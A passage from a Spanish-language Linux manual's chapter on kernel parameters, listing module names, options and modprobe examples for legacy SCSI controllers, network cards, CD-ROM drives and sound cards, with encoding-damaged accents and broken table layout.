  24028. No se debe agregar ning·n espacio por delante o por detrßs del `=' cuando se
  24029. estßn indicando parßmetros. Ademßs, los valores hexadecimales deben llevar
  24030. siempre por delante un `0x'.
  24031.        _______________________________________________________________________________________________________________________||
  24032.        ||||||||  íEn  caso  de  indicar  varios  parßmetros  para  un  solo  driver,  estos  deben              |||            |
  24033.        ||||||||                                                                                                 ||             |
  24034.        ||||||||  estar separados con espacios!  Se trata de una diferencia fundamental en                       ||             |
  24035.        ||||||||  comparaci≤n al traspaso de parßmetros en el prompt de LILO , ya que en                         ||             |
  24036.        ||||||||                                                                                                 ||             |
  24037.        ||||||||  Θste no debe aparecer ning·n espacio entre los parßmetros de un driver.                        ||             |
  24038.        ||||||||_______________________________________________________________________________________________________________||_
  24039.  
  24040. Los  parßmetros  que  se  indican  a  continuaci≤n,  se  pueden  pasar  al  fichero
  24041. /etc/modules.conf.  En Θste es posible indicar para cada m≤dulo una se-
  24042. rie de parßmetros que se colocan en lφneas individuales.  Una lφnea de tales
  24043. caracterφsticas es la siguiente:
  24044.  
  24045.       options  <nombre_m≤dulo>  <parm1>=<valor1>  ...
  24046.  
  24047. donde:
  24048.  
  24049.        _____________________________________________________________________________________________________
  24050.        ||||||||__variable____________valores_/|significado___________________________|_______________________
  24051.  
  24052.        ||||||||  <nombre_m≤dulo>     Nombre del m≤|dulo sin extensi≤n .o  |
  24053.        ||||||||  <parm1>             Parßmetro 1  |                                    |
  24054.        ||||||||__<valor1>____________Valor,_asigna|do_al_parßmetro_1____________|___________________________
  24055.  
  24056. La entrada para la tarjeta NE2000 del ejemplo de arriba serφa entonces:
  24057.  
  24058.       options  ne  io=0x300  irq=10
  24059.  
  24060. A partir de aquφ se apuntan los parßmetros mßs importantes para la mayorφa
  24061. de los m≤dulos.
  24062.  
  24063.  
  24064. Controladoras SCSI y el SCSI-subsistema
  24065.  
  24066.   o   Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor
  24067.  
  24068.       Nombre del m≤dulo: aha152x.o
  24069.  
  24070.  
  24071.                                                                                                                                    *
  24072.  *   373
  24073. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24074.  *_______________________________________@
  24075.  
  24076.  
  24077.  
  24078.                                  ______________________________________________________________________________________________
  24079.                                  |__variable____________|____valores_/_significado_____________________________________|________
  24080.                                  |  <io>                   | <addr>                                                           |
  24081.                                  |  <irq>                  | <irq>                                                            |
  24082.                                  |  <id>                   | SCSI-ID de controladora; por defecto 7         |
  24083.                                  |  <rec>                  | <reconnect>            ; 0 , 1                                    |
  24084.                                  |  <par>                  | parity; 0 , 1                                                   |
  24085.                                  |  <sync>                 | modo de operaci≤n sincr≤nico; 0 , 1               |
  24086.                                  |  <delay>                | retardo del bus; por defecto 100                      |
  24087.                                  |__<translat>_____________|_Transformaci≤n_de_geometrφa_de_disco;_0_,_1___|___________________
  24088.  
  24089.                                  Igual al prompt de LILO :
  24090.                                  Ejemplo:    modprobe  aha152x  aha152x=0x340,10,7,1,1,0,100,0
  24091.  
  24092.                                  Para una segunda controladora:
  24093.                                  Ejemplo:    modprobe  aha152x  aha152x1=0x140,12,7,1,1,0,100,0
  24094.  
  24095.  
  24096.                              o   Future Domain TMC-16x0-hostadaptor
  24097.  
  24098.                                  Nombre del m≤dulo: fdomain.o
  24099.  
  24100.                                  Esta  controladora  funciona  tambiΘn  con  la  controladora  SCSI  Adaptec
  24101.                                  2920 .
  24102.  
  24103.                                  fdomain=<addr>,<irq>[,<id>]
  24104.  
  24105.                                  ____________________________________________________
  24106.                                  |__variable____|____valores_/_significado__|_________
  24107.  
  24108.                                  |  <addr>          |<addr>                         |
  24109.                                  |  <irq>           |<irq>                          |
  24110.                                  |__<id>____________|<id>___________________________|_
  24111.  
  24112.                                  Como en el prompt de LILO :
  24113.                                  Ejemplo:    modprobe  fdomain  fdomain=0x140,11,7
  24114.  
  24115.  
  24116.                              o   NCR 5380 bzw. NCR 53C400 SCSI-Hostadaptorfamily
  24117.  
  24118.                                  Nombre del m≤dulo: g_NCR5380.o
  24119.  
  24120.                                  ___________________________________________________________________
  24121.                                  |__parßmetros_____|_______valores_______________________________|___
  24122.  
  24123.                                  |  ncr_addr              |<addr>                                   |
  24124.                                  |  ncr_irq               |<irq>      ; apapar con 255        |
  24125.                                  |  ncr_dma               |<dma>                                    |
  24126.                                  |  ncr_5380              |1  para el tipo NCR5380       |
  24127.                                  |__ncr_53c400____________|1__para_el_tipo_NCR53C400__|_____________
  24128.  
  24129.                                  Para la controladora NCR5380:
  24130.                                  Ejemplo:    modprobe  g_NCR5380  ncr_irq=5  ncr_addr=0x350
  24131.                                                  ncr_5380=1
  24132.  
  24133.                                  Para la controladora NCR53C400 con interrupciones apagadas:
  24134.                                  Ejemplo:    modprobe  g_NCR5380  ncr_irq=255  ncr_addr=0xc8000
  24135.                                                  ncr_53c400=1
  24136.  
  24137.                                  Este driver funciona tambiΘn con la controladora Trantor T130B que tiene
  24138.                                  amplia difusi≤n.
  24139.  
  24140.  
  24141. 374
  24142.        __________________________________________________________________________________________________14.3.__Los_parßmetros_____*
  24143.  *______________________
  24144.  
  24145.  
  24146.  
  24147. Tarjetas de red
  24148.   o   3Com 3c501 / 3c503 / 3c505 / 3c507 tarjetas de red
  24149.  
  24150.       Nombre del m≤dulo: 3c501.o,3c503.o,3c505.o,3c507.o
  24151.  
  24152.        ________________________________________
  24153.        ||__parßmetros__|_____valores_____|______
  24154.  
  24155.        ||  io                <|addr>        |
  24156.        ||__irq_______________<|irq>_________|__
  24157.  
  24158.       Ejemplo:    modprobe  3c505  io=0x300  irq=10
  24159.  
  24160.  
  24161.  
  24162.   o   3Com 3c509 / 3c579 tarjetas de red
  24163.  
  24164.       Nombre del m≤dulo: 3c509.o
  24165.  
  24166.        __________________________________________________________
  24167.        ||__parßmetros__|_____valores_______________________|______
  24168.  
  24169.        ||  irq               <|irq>                           |
  24170.        ||__xcvr______________0|:_interno;_1_:_externo__|_________
  24171.  
  24172.       Ejemplo:    modprobe  3c509  irq=10  xcvr=0
  24173.  
  24174.  
  24175.  
  24176.   o   3Com 3c515 tarjeta de red
  24177.  
  24178.       Nombre del m≤dulo: 3c515.o
  24179.  
  24180.       Ejemplo:    modprobe  3c515
  24181.  
  24182.  
  24183.  
  24184.   o   3Com 3c59x / 3c90x tarjetas de red (''Vortex''/''Boomerang'')
  24185.  
  24186.       Nombre del m≤dulo: 3c59x.o
  24187.  
  24188.       En el caso de las computadoras Compaq (PCI) se pueden probar los sigu-
  24189.       ientes parßmetros:
  24190.  
  24191.        __________________________________________________
  24192.        ||__parßmetros_____________|_____valores_____|_____
  24193.  
  24194.        ||  compaq_ioaddr                |<addr>        |
  24195.        ||  compaq_irq                   |<irq>         |
  24196.        ||__compaq_prod_id_______________|<id>__________|_
  24197.  
  24198.       Ejemplo:    modprobe  3c59x  compaq_irq=10
  24199.  
  24200.  
  24201.  
  24202.   o   Allied Telesis AT1700 tarjeta de red
  24203.  
  24204.       Nombre del m≤dulo: at1700.o
  24205.  
  24206.        ________________________________________
  24207.        ||__parßmetros__|_____valores_____|______
  24208.  
  24209.        ||  io                <|addr>        |
  24210.        ||__irq_______________<|irq>_________|__
  24211.  
  24212.       Ejemplo:    modprobe  at1700  io=0x300  irq=10
  24213.  
  24214.  
  24215.  
  24216.   o   Cabletron E21xx tarjeta de red
  24217.  
  24218.       Nombre del m≤dulo: e2100.o
  24219.  
  24220.  
  24221.                                                                                                                                    *
  24222.  *   375
  24223. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24224.  *_______________________________________@
  24225.  
  24226.  
  24227.  
  24228.                                  _________________________________________________________
  24229.                                  |__parßmetros__|_______valores_______________________|____
  24230.                                  |  io                 |<addr>                           |
  24231.                                  |  irq                |<irq>                            |
  24232.                                  |  mem                |<addr>                           |
  24233.                                  |__xcvr_______________|0_:_interno;_1_:_externo__|_______
  24234.  
  24235.                                  Ejemplo:    modprobe  e2100  io=0x300  irq=10  mem=0xd000  xcvr=0
  24236.  
  24237.  
  24238.  
  24239.                              o   Digital DE425 / 434 / 435 / 450 / 500 tarjetas de red
  24240.  
  24241.                                  Nombre del m≤dulo: de4x5.o
  24242.  
  24243.                                  io=0x<bus><id-dispositivo>
  24244.  
  24245.                                  _________________________________________________________________________________
  24246.                                  |__parßmetros_____________|_______valores_____________________________________|___
  24247.  
  24248.                                  |  bus                          | N·mero del bus PCI, normal 0   |
  24249.                                  |__id-dispositivo_______________|_N·mero_del_dispositivo_PCI______|______________
  24250.  
  24251.                                  Estos datos se muestran durante el arranque cuando la PCI-BIOS es ''rel-
  24252.                                  ativamente nueva''. En Linux se pueden ver con:
  24253.  
  24254.                                       tierra:  #  cat  /proc/pci
  24255.  
  24256.  
  24257.                                  Ejemplo:    modprobe  de4x5  io=0x007
  24258.  
  24259.  
  24260.  
  24261.                              o   Digital DEPCA / DE10x / DE20(012) / DE42, EtherWORKS tarjetas de
  24262.                                  red
  24263.  
  24264.                                  Nombre del m≤dulo: depca.o
  24265.  
  24266.                                  ___________________________________________________________________
  24267.                                  |__parßmetros_________|_______valores___________________________|___
  24268.  
  24269.                                  |  io                       | <addr>                               |
  24270.                                  |  irq                      | <irq>                                |
  24271.                                  |  mem                      | <mem>                                |
  24272.                                  |  adaptor_name             | <Nombre>          z.B. DEPCA     ,  |
  24273.                                  |                           | de100    , de101     ,                |
  24274.                                  |                           | de200    , de201     ,                |
  24275.                                  |                           | de202    , de210     ,                |
  24276.                                  |___________________________|_de422________________________________|
  24277.  
  24278.                                  Ejemplo:    modprobe  depca  io=0x300  irq=10
  24279.  
  24280.  
  24281.  
  24282.                              o   EtherWORKS 3 (DE203, DE204, DE205) tarjetas de red
  24283.  
  24284.                                  Nombre del m≤dulo: ewrk3.o
  24285.  
  24286.                                  _______________________________________
  24287.                                  |__parßmetros__|_______valores_____|____
  24288.  
  24289.                                  |  io                 |<addr>         |
  24290.                                  |__irq________________|<irq>__________|_
  24291.  
  24292.                                  Ejemplo:    modprobe  ewrk3  io=0x300  irq=10
  24293.  
  24294.  
  24295. 376
  24296.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  24297.  *____________________
  24298.  
  24299.  
  24300.  
  24301. o   Intel EtherExpress 16 tarjeta de red
  24302.     Nombre del m≤dulo: eexpress.o
  24303.      ________________________________________
  24304.      ||__parßmetros__|_____valores_____|______
  24305.  
  24306.      ||  io                <|addr>        |
  24307.      ||__irq_______________<|irq>_________|__
  24308.  
  24309.     Ejemplo:    modprobe  eexpress  io=0x300  irq=10
  24310.  
  24311.  
  24312. o   Intel EtherExpressPro tarjeta de red
  24313.     Nombre del m≤dulo: eepro.o
  24314.      ________________________________________
  24315.      ||__parßmetros__|_____valores_____|______
  24316.  
  24317.      ||  io                <|addr>        |
  24318.      ||  irq               <|irq>         |
  24319.      ||__mem_______________<|addr>________|__
  24320.  
  24321.     Ejemplo:    modprobe  eepro  io=0x300  irq=10  mem=0xd000
  24322.  
  24323.  
  24324. o   Intel EtherExpressPro 100 tarjeta de red
  24325.     Nombre del m≤dulo: eepro100.o
  24326.     La tarjeta Intel EtherExpressPro incorpora los chips i82557/i82558 .
  24327.      ________________________________________________________________________
  24328.      ||__parßmetros__|_____valores______________________________________|_____
  24329.  
  24330.      ||  options           <|Modo  d·plex  y>                              |
  24331.      ||                    <|Bus-transceptor>                              |
  24332.      ||                    1|6  Operaci≤n en d·plex             |
  24333.      ||                    3|2  Solo operaci≤n en 100 MBit  |
  24334.      ||____________________6|4__Solo_operaci≤n_en_10_MBit____|_______________
  24335.  
  24336.     Ejemplo:    modprobe  eepro100  options=48
  24337.     Con este ejemplo se establece operaci≤n d·plex y operaci≤n en 100 Mbit
  24338.     al mismo tiempo (48 = 32 + 16).
  24339.  
  24340.  
  24341. o   Fujitsu FMV-181/182/183/184 tarjetas de red
  24342.     Nombre del m≤dulo: fmv18x.o
  24343.      ________________________________________
  24344.      ||__parßmetros__|_____valores_____|______
  24345.  
  24346.      ||  io                <|addr>        |
  24347.      ||__irq_______________<|irq>_________|__
  24348.  
  24349.     Ejemplo:    modprobe  fmv18x  io=0x300  irq=10
  24350.  
  24351.  
  24352. o   HP PCLAN+ (27247B and 27252A) tarjeta de red
  24353.     Nombre del m≤dulo: hp-plus.o
  24354.      ________________________________________
  24355.      ||__parßmetros__|_____valores_____|______
  24356.  
  24357.      ||  io                <|addr>        |
  24358.      ||__irq_______________<|irq>_________|__
  24359.  
  24360.     Ejemplo:    modprobe  hp-plus  io=0x300  irq=10
  24361.  
  24362.  
  24363.                                                                                                                                    *
  24364.  * 377
  24365. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24366.  *_______________________________________@
  24367.  
  24368.  
  24369.  
  24370.                              o   HP PCLAN (27245 / 27xxx)
  24371.                                  Nombre del m≤dulo: hp.o
  24372.  
  24373.                                  _______________________________________
  24374.                                  |__parßmetros__|_______valores_____|____
  24375.  
  24376.                                  |  io                 |<addr>         |
  24377.                                  |__irq________________|<irq>__________|_
  24378.  
  24379.                                  Ejemplo:    modprobe  hp  io=0x300  irq=10
  24380.  
  24381.  
  24382.                              o   HP 10/100 VG-AnyLAN (ISA, EISA, PCI) tarjetas de red
  24383.  
  24384.                                  Nombre del m≤dulo: hp100.o
  24385.  
  24386.                                  __________________________________________
  24387.                                  |__parßmetros_____|_______valores_____|____
  24388.  
  24389.                                  |__hp100_port____________|<addr>_________|_
  24390.  
  24391.                                  Ejemplo:    modprobe  hp100  hp100_port=0x300
  24392.  
  24393.  
  24394.                              o   ICL EtherTeam 16i / 32 tarjeta de red
  24395.  
  24396.                                  Nombre del m≤dulo: eth16i.o
  24397.  
  24398.                                  _______________________________________
  24399.                                  |__parßmetros__|_______valores_____|____
  24400.  
  24401.                                  |  io                 |<addr>         |
  24402.                                  |__irq________________|<irq>__________|_
  24403.  
  24404.                                  Ejemplo:    modprobe  eth16i  io=0x300  irq=10
  24405.  
  24406.  
  24407.                              o   Novell NE2000 / NE1000 tarjetas de red
  24408.  
  24409.                                  Nombre del m≤dulo: ne.o
  24410.  
  24411.                                  ______________________________________________________________________________
  24412.                                  |__parßmetros__|_______valores_____________________________________________|___
  24413.  
  24414.                                  |  io                 |<addr>                                                 |
  24415.                                  |  irq                |<irq>                                                  |
  24416.                                  |__bad________________|bad___,_solo_si_la_tarjeta_no_se_reconoce__|___________
  24417.  
  24418.                                  Ejemplo:    modprobe  ne  io=0x300  irq=10
  24419.  
  24420.  
  24421.                              o   NI6510 (AM7990 ''lance'' Chip) tarjeta de red
  24422.  
  24423.                                  Nombre del m≤dulo: ni65.o
  24424.  
  24425.                                  _______________________________________
  24426.                                  |__parßmetros__|_______valores_____|____
  24427.  
  24428.                                  |  io                 |<addr>         |
  24429.                                  |  irq                |<irq>          |
  24430.                                  |__dma________________|<dma>__________|_
  24431.  
  24432.                                  Ejemplo:    modprobe  ni65  io=0x300  irq=10
  24433.  
  24434.  
  24435.                              o   SMC Ultra tarjeta de red
  24436.  
  24437.                                  Nombre del m≤dulo: smc-ultra.o
  24438.  
  24439.  
  24440. 378
  24441.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  24442.  *____________________
  24443.  
  24444.  
  24445.  
  24446.      ________________________________________
  24447.      ||__parßmetros__|_____valores_____|______
  24448.      ||  io                <|addr>        |
  24449.      ||__irq_______________<|irq>_________|__
  24450.     Ejemplo:    modprobe  smc-ultra  io=0x300  irq=10
  24451.  
  24452.  
  24453. o   SMC 9194 tarjeta de red
  24454.     Nombre del m≤dulo: smc9194.o
  24455.      ___________________________________________
  24456.      ||__parßmetros__|_____valores_________|_____
  24457.  
  24458.      ||  io                <|addr>            |
  24459.      ||  irq               <|irq>             |
  24460.      ||__if_port___________<|medium>__________|_
  24461.      _________________________________________________________
  24462.      ||__variable________|__valores_/_significado__|___________
  24463.  
  24464.      ||  <medium>           0| auto                      |
  24465.      ||                     1| TP                        |
  24466.      ||_____________________2|_AUI,_10base2_________|_________
  24467.     Ejemplo:    modprobe  smc9194  io=0x300  irq=10  if_port=2
  24468.  
  24469.  
  24470. o   Western Digital WD80x3 tarjeta de red
  24471.     Nombre del m≤dulo: wd.o
  24472.      _____________________________________________
  24473.      ||__parßmetros__|_____valores___________|_____
  24474.  
  24475.      ||  io                <|addr>              |
  24476.      ||  irq               <|irq>               |
  24477.      ||  mem               <|mem>               |
  24478.      ||__mem_end___________<|mem_end>___________|_
  24479.     Ejemplo:    modprobe  wd  io=0x300  irq=10
  24480.  
  24481.  
  24482. o   IBM Tropic chipset Token Ring tarjeta de red
  24483.     Nombre del m≤dulo: ibmtr.o
  24484.      __________________________________________________
  24485.      ||__parßmetros___|_____valores_______________|_____
  24486.  
  24487.      ||  io                 <|addr>                  |
  24488.      ||  irq                <|irq>                   |
  24489.      ||__mem_start__________<|mem_start>_____________|_
  24490.     Ejemplo:    modprobe  ibmtr  io=0x300
  24491.  
  24492.  
  24493. o   D-Link DE620 Pocket-Adaptor tarjeta de red
  24494.     Nombre del m≤dulo: de620.o
  24495.      _____________________________________________________________
  24496.      ||__parßmetros__|_____valores___________________________|_____
  24497.  
  24498.      ||  io                <|addr>                              |
  24499.      ||  irq               <|irq>                               |
  24500.      ||  bnc               1| usando conector BNC  |
  24501.      ||  utp               1| usando conector UTP   |
  24502.      ||__clone_____________1|_para_tarjeta_cl≤nica_______|________
  24503.  
  24504.                                                                                                                                    *
  24505.  * 379
  24506. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24507.  *_______________________________________@
  24508.  
  24509.  
  24510.  
  24511.                                  Ejemplo:    modprobe  de620  io=0x300  irq=10  bnc=1  utp=0
  24512.  
  24513.                            Lectores CD-ROM propietarios
  24514.  
  24515.         CD-ROM             Los  siguientes  parßmetros  son  para  activar  lectores  CD-ROM  propietarios
  24516.       propietario          que estßn conectados a una controladora especial. Los due±os de una de estas
  24517.                            ''antiguas joyas'' probablemente ya lo saben. . .
  24518.  
  24519.                              o   Aztech CDA268-01 CD-ROM
  24520.  
  24521.                                  Nombre del m≤dulo: aztcd.o
  24522.  
  24523.                                  _______________________________________
  24524.                                  |__parßmetros__|_______valores_____|____
  24525.  
  24526.                                  |__aztcd______________|<addr>_________|_
  24527.  
  24528.                                  Ejemplo:    modprobe  aztcd  aztcd=0x300
  24529.  
  24530.  
  24531.                              o   Goldstar R420-CD-ROM
  24532.  
  24533.                                  Nombre del m≤dulo: gscd.o
  24534.  
  24535.                                  _______________________________________
  24536.                                  |__parßmetros__|_______valores_____|____
  24537.  
  24538.                                  |__gscd_______________|<addr>_________|_
  24539.  
  24540.                                  Ejemplo:    modprobe  gscd  gscd=0x300
  24541.  
  24542.  
  24543.                              o   Mitsumi CD-ROM
  24544.  
  24545.                                  Nombre del m≤dulo: mcd.o
  24546.  
  24547.                                  mcd=<addr>,<irq>[,<wait>]
  24548.  
  24549.                                  __________________________________________________________________________________________
  24550.                                  |__variable____|____valores_/_significado________________________________________|_________
  24551.  
  24552.                                  |__<wait>__________|Valor_para_el_tiempo_de_espera_de_la_arrancada__|_____________________
  24553.  
  24554.                                  Se puede variar el parßmetro <wait>         entre 0   y 10  ,  si el CD-ROM no
  24555.                                  reacciona  suficientemente  rßpido  a  las  peticiones  del  sistema  ("time-
  24556.                                  out"), por lo cual es posible que no se encuentre el Rootimage durante la
  24557.                                  instalaci≤n.
  24558.  
  24559.                                  Ejemplo:    modprobe  mcd  mcd=0x300,10,5
  24560.  
  24561.  
  24562.                              o   Mitsumi-CD-ROM (Multisession)
  24563.  
  24564.                                  Nombre del m≤dulo: mcdx.o
  24565.  
  24566.                                  mcdx=<addr>,<irq>[,<addr>,<irq>]
  24567.  
  24568.                                  En  el  caso  de  varios  drivers  se  pueden  repetir  los  comandos  <addr>  y
  24569.                                  <irq> hasta cuatro veces.
  24570.  
  24571.  
  24572.                              o   Tarjeta de sonido ''Mozart'' con interfaz de CD-ROM
  24573.  
  24574.                                  Nombre del m≤dulo: isp16.o
  24575.  
  24576.                                  isp16_cdrom_base=<addr>
  24577.                                  isp16_cdrom_irq=<irq>  isp16_cdrom_dma=<dma>
  24578.                                  isp16_cdrom_type=<tipo>
  24579.  
  24580.  
  24581. 380
  24582.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  24583.  *____________________
  24584.  
  24585.  
  24586.  
  24587.      _____________________________________________________________________________
  24588.      ||__variable____|__valores_/_significado__________________________|___________
  24589.      ||__<tipo>_________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_
  24590.  
  24591.     Este no es realmente un driver para CD-ROM, sino que configura la inter-
  24592.     faz de los lectores CD-ROM conectados a una tarjeta de sonido de ISP16 ,
  24593.     MAD16  o Mozart . DespuΘs de cargar este driver solamente se configura
  24594.     la interfaz y el driver del CD-ROM se carga posteriormente.  El valor de
  24595.     la variable <tipo>         resulta del conector en la tarjeta de sonido a la que
  24596.     esta conectado el lector CD-ROM.
  24597.     Ejemplo:    modprobe  isp16  isp16_cdrom_base=0x300
  24598.                      isp16_cdrom_irq=10  isp16_cdrom_dma=1
  24599.                      isp16_cdrom_type=sony
  24600.  
  24601.  
  24602. o   Optics Storage 8000 AT CD-ROM
  24603.     Nombre del m≤dulo: optcd.o
  24604.      ________________________________________
  24605.      ||__parßmetros__|_____valores_____|______
  24606.  
  24607.      ||__optcd_____________<|addr>________|__
  24608.  
  24609.     Ejemplo:    modprobe  optcd  optcd=0x300
  24610.  
  24611.  
  24612. o   Philips CM206 CD-ROM
  24613.     Nombre del m≤dulo: cm206.o
  24614.     cm206=<addr>,<irq>
  24615.     Ejemplo:    modprobe  cm206  cm206=0x300,10
  24616.  
  24617.  
  24618. o   Sanyo CD-ROM
  24619.     Nombre del m≤dulo: sjcd.o
  24620.      ________________________________________
  24621.      ||__parßmetros__|_____valores_____|______
  24622.  
  24623.      ||__sjcd______________<|addr>________|__
  24624.  
  24625.     Ejemplo:    modprobe  sjcd  sjcd=0x300
  24626.  
  24627.  
  24628. o   Sony CDU 31/33 A
  24629.     Nombre del m≤dulo: cdu31a.o
  24630.      _____________________________________________
  24631.      ||__parßmetros_______|_____valores_____|______
  24632.  
  24633.      ||  cdu31a_port            |<addr>        |
  24634.      ||__cdu31a_irq_____________|<irq>_________|__
  24635.  
  24636.     Ejemplo:    modprobe  cdu31a  cdu31a_port=0x300  cdu31a_irq=10
  24637.  
  24638.  
  24639. o   Sony CDU 535
  24640.     Nombre del m≤dulo: sonycd535.o
  24641.      _________________________________________
  24642.      ||__parßmetros___|_____valores_____|______
  24643.  
  24644.      ||__sonycd535__________<|addr>________|__
  24645.  
  24646.     Ejemplo:    modprobe  sonycd535  sonycd535=0x300
  24647.  
  24648.  
  24649.                                                                                                                                    *
  24650.  * 381
  24651. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24652.  *_______________________________________@
  24653.  
  24654.  
  24655.  
  24656.                              o   Soundblaster Pro 16 MultiCD
  24657.                                  Nombre del m≤dulo: sbpcd.o
  24658.                                  sbpcd=<addr>,<tipo>
  24659.                                  donde <tipo>        puede tener los siguientes valores:
  24660.                                  __________________________________________________
  24661.                                  |__variable__|____valores_/_significado__|_________
  24662.  
  24663.                                  |  0            | LaserMate                       |
  24664.                                  |  1            | SoundBlaster                    |
  24665.                                  |  2            | SoundScape                      |
  24666.                                  |__3____________|_Teac16bit_______________________|
  24667.  
  24668.                                  Ejemplo:    modprobe  sbpcd  sbpcd=0x300,0
  24669.  
  24670.                            Tarjetas de sonidos y sus chipsets
  24671.  
  24672.              Sonido        Desde  la versi≤n 2.2.xx del kernel, el soporte de tarjetas de sonido se realiza
  24673.                            por m≤dulos y se controla mediante varios parßmetros.
  24674.  
  24675.                              o   AD1816 Chip
  24676.                                  Nombre del m≤dulo: ad1816.o
  24677.                                  Entre  otras  se  soporta:  TerraTec  Base  1,  TerraTec  Base  64,  HP  Kayak,
  24678.                                  Acer FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D
  24679.                                  _______________________________________________________________
  24680.                                  |__parßmetros_________________|______valores_______________|____
  24681.  
  24682.                                  |  io                               |<addr>                   |
  24683.                                  |  irq                              |<irq>                    |
  24684.                                  |  dma                              |<dma>                    |
  24685.                                  |  dma2                             |<dma2>                   |
  24686.                                  |__ad1816_clockfreq_________________|<clockfreq>______________|_
  24687.  
  24688.                                  Ejemplo:    modprobe  ad1816  io=0x530  irq=5  dma=1
  24689.                                                  dma2=3  ad1816_clockfreq=33000
  24690.  
  24691.  
  24692.                              o   AD1848/CS4248 Chip (MSS)
  24693.                                  Nombre del m≤dulo: ad1848.o
  24694.                                  _________________________________________________
  24695.                                  |__parßmetros_____|_______valores_____________|___
  24696.  
  24697.                                  |  io                    |<addr>                 |
  24698.                                  |  irq                   |<irq>                  |
  24699.                                  |  dma                   |<dma>                  |
  24700.                                  |  dma2                  |<dma2>                 |
  24701.                                  |  type                  |<cardtype>             |
  24702.                                  |__deskpro_xl____________|<magic>________________|
  24703.  
  24704.  
  24705.                              o   Driver genΘrico OPLx
  24706.                                  Nombre del m≤dulo: adlib_card.o
  24707.                                  _______________________________________
  24708.                                  |__parßmetros__|_______valores_____|____
  24709.  
  24710.                                  |__io_________________|<addr>_________|_
  24711.  
  24712.                                  Ejemplo:    modprobe  adlib_card  io=0x330
  24713.  
  24714.  
  24715. 382
  24716.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  24717.  *____________________
  24718.  
  24719.  
  24720.  
  24721. o   Crystal 423x chipsets
  24722.     Nombre del m≤dulo: cs4232.o
  24723.  
  24724.      ________________________________________
  24725.      ||__parßmetros__|_____valores_____|______
  24726.  
  24727.      ||  io                <|addr>        |
  24728.      ||  irq               <|irq>         |
  24729.      ||  dma               <|dma>         |
  24730.      ||__dma2______________<|dma2>________|__
  24731.  
  24732.     Ejemplo:    modprobe  cs4232  io=0x530  irq=5  dma=1  dma2=3
  24733.  
  24734.  
  24735. o   Ensoniq 1370 chipset
  24736.  
  24737.     Nombre del m≤dulo: es1370.o
  24738.  
  24739.     Ver tambiΘn PCI64/128.
  24740.  
  24741.      ________________________________________________________________________
  24742.      ||__parßmetros__|_____valores_____________________________________|______
  24743.  
  24744.      ||  joystick          1|: activar Joystick                     |
  24745.      ||  lineout           1|: cambiar Line-in en Line-out  |
  24746.      ||__micz______________i|mpedancia_del_micr≤fono_________|_______________
  24747.  
  24748.     Ejemplo:    modprobe  es1370  joystick=1  lineout=1
  24749.  
  24750.  
  24751. o   Creative Ensoniq 1371 chipset
  24752.  
  24753.     Nombre del m≤dulo: es1371.o
  24754.  
  24755.     Ver tambiΘn PCI64/128.
  24756.  
  24757.      ________________________________________
  24758.      ||__parßmetros__|_____valores_____|______
  24759.  
  24760.      ||__joystick__________<|addr>________|__
  24761.  
  24762.     Los valores vßlidos para <addr>        son 0x200     , 0x208     , 0x210      y 0x218     .
  24763.  
  24764.     Ejemplo:    modprobe  es1371  joystick=0x200
  24765.  
  24766.  
  24767. o   Gravis Ultrasound
  24768.  
  24769.     Nombre del m≤dulo: gus.o
  24770.  
  24771.      ______________________________________________
  24772.      ||__parßmetros_______|_____valores_______|_____
  24773.  
  24774.      ||  io                     |<addr>          |
  24775.      ||  irq                    |<irq>           |
  24776.      ||  dma                    |<dma>           |
  24777.      ||  dma16                  |<dma16>         |
  24778.      ||  type                   |                |
  24779.      ||  gus16                  |                |
  24780.      ||  no_wave_dma            |                |
  24781.      ||__db16___________________|________________|_
  24782.  
  24783.  
  24784.  
  24785. o   MAD16
  24786.  
  24787.     Nombre del m≤dulo: mad16.o
  24788.  
  24789.  
  24790.                                                                                                                                    *
  24791.  * 383
  24792. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24793.  *_______________________________________@
  24794.  
  24795.  
  24796.  
  24797.                                  Soporta OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930 y
  24798.                                  OPTi 82C924.
  24799.                                  _______________________________________
  24800.                                  |__parßmetros__|_______valores_____|____
  24801.  
  24802.                                  |  io                 |<addr>         |
  24803.                                  |  irq                |<irq>          |
  24804.                                  |  dma                |<dma>          |
  24805.                                  |__dma16______________|<dma2>_________|_
  24806.  
  24807.                                  Ejemplo:    modprobe  mad16  io=0x530  irq=7  dma=0  dma16=1
  24808.  
  24809.  
  24810.                              o   Turtle Beach Maui y Tropez
  24811.  
  24812.                                  Nombre del m≤dulo: maui.o
  24813.  
  24814.                                  _______________________________________
  24815.                                  |__parßmetros__|_______valores_____|____
  24816.  
  24817.                                  |  io                 |<addr>         |
  24818.                                  |__irq________________|<irq>__________|_
  24819.  
  24820.                                  Ejemplo:    modprobe  maui  io=0x530  irq=5
  24821.  
  24822.  
  24823.                              o   MPU401
  24824.  
  24825.                                  Nombre del m≤dulo: mpu401.o
  24826.  
  24827.                                  _______________________________________
  24828.                                  |__parßmetros__|_______valores_____|____
  24829.  
  24830.                                  |__io_________________|<addr>_________|_
  24831.  
  24832.                                  Ejemplo:    modprobe  mpu401  io=0x330
  24833.  
  24834.  
  24835.                              o   Turtle Beach MultiSound
  24836.  
  24837.                                  Nombre del m≤dulo: msnd.o
  24838.  
  24839.                                  Ejemplo:    modprobe  msnd
  24840.  
  24841.  
  24842.                              o   Turtle Beach Classic/Monterey/Tahiti
  24843.  
  24844.                                  Nombre del m≤dulo: msnd_classic.o
  24845.  
  24846.                                  _____________________________________________________
  24847.                                  |__parßmetros_________________|______valores_____|____
  24848.  
  24849.                                  |  io                               |<addr>          |
  24850.                                  |  irq                              |<irq>           |
  24851.                                  |  mem                              |                |
  24852.                                  |  write_ndelay                     |                |
  24853.                                  |  major                            |                |
  24854.                                  |  fifosize                         |                |
  24855.                                  |__calibrate_signal_________________|________________|
